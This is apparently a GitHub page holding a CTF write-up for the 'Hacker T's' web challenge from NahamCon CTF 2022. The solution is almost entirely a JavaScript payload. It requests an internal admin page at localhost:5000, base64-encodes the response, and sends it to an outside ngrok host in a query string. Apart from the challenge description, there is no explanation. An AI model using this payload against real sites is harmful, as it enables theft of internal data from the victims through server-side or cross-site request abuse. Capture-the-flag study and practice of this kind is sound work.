Skip to content

Latest commit

 

History

History
43 lines (36 loc) · 935 Bytes

hacker_ts.md

File metadata and controls

43 lines (36 loc) · 935 Bytes
name event category description layout
Hacker T's (2022)
NahamCon CTF 2022
Web
Writeup for Hacker T's (Web) - NahamCon CTF (2022) 💜
title description tableOfContents outline pagination
visible
true
visible
true
visible
true
visible
true
visible
true

Hacker T's

Video Walkthrough

VIDEO

Description

We all love our hacker t-shirts. Make your own custom ones.

Solution

{% code overflow="wrap" %}

var xhr = new XMLHttpRequest();
xhr.open("GET", "http://localhost:5000/admin");
xhr.onload = function () {
    var flag = btoa(xhr.responseText);
    var exfil = new XMLHttpRequest();
    exfil.open("GET", "http://9106-81-103-153-174.ngrok.io?flag=" + flag);
    exfil.send();
};
xhr.send();

{% endcode %}